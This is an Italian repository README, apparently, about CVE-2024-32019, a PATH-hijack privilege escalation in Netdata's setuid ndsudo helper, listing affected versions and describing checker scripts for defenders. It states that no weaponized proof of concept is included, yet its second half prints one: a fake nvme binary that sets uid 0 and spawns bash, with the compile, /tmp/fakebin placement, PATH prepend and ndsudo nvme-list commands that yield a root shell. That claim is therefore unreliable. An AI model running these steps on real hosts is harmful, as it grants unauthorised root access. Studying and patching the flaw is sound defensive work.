
Verifica l'esposizione all'escalation di privilegi SUID PATH di Netdata ndsudo per CVE-2024-32019 e convalida le patch senza sfruttamento weaponized.
ndsudoL'helper ndsudo di Netdata (installato setuid root) limita i comandi che eseguirà, ma risolve quei comandi usando il PATH del chiamante. Nelle versioni interessate, un utente locale può collocare un binario malevolo all'inizio del PATH e far sì che ndsudo lo esegua con privilegi di root. Corretto in Netdata 1.45.3 e 1.45.0-169.
Interessate: >= 1.44.0-60, < 1.45.0-169 e (secondo l'advisory upstream).
>= 1.45.0, < 1.45.3Corrette: 1.45.3 (stable), 1.45.0-169 (nightly). GitHub
Escalatione di privilegi locale a root sui sistemi in cui ndsudo è installato SUID e l'utente può invocarlo (comunemente i membri del gruppo netdata). NVDGitHub
ndsudo è SUID-root e inserisce in whitelist sottocomandi come nvme-list, nvme-smart-log, ecc.
Chiama eseguibili esterni per nome (ad es. nvme), che vengono risolti tramite PATH invece di usare percorsi assoluti o una ricerca sicura e fissa.
Se una directory scrivibile appare prima dei percorsi di sistema, un attaccante può introdurre un binario simile che viene eseguito come root. GitHub
Questo repository include checker non-exploit che:
Ispezionano /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (o ovunque sia installato) per SUID/proprietà.
Enumerano il PATH per directory scrivibili precedenti ai percorsi di sistema comuni.
Confermano la presenza di nomi di sottocomandi in whitelist che ndsudo potrebbe tentare di eseguire.
Opzionalmente eseguono ndsudo --test <subcommand> per stampare il comando risolto senza eseguirlo (usare con cautela, leggere prima il codice). GitHub
⚠️ Nessun PoC weaponizzato è incluso. Questo progetto è per difensori e ricercatori per valutare l'esposizione e convalidare le patch in modo responsabile.
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Netdata Advisory (GHSA-pmhq-4cxq-wj93). GitHub
Riassunto Wiz. wiz.io
Approfondimento Snyk. Vulnerability Guide
Elenco MITRE/CVE. CVE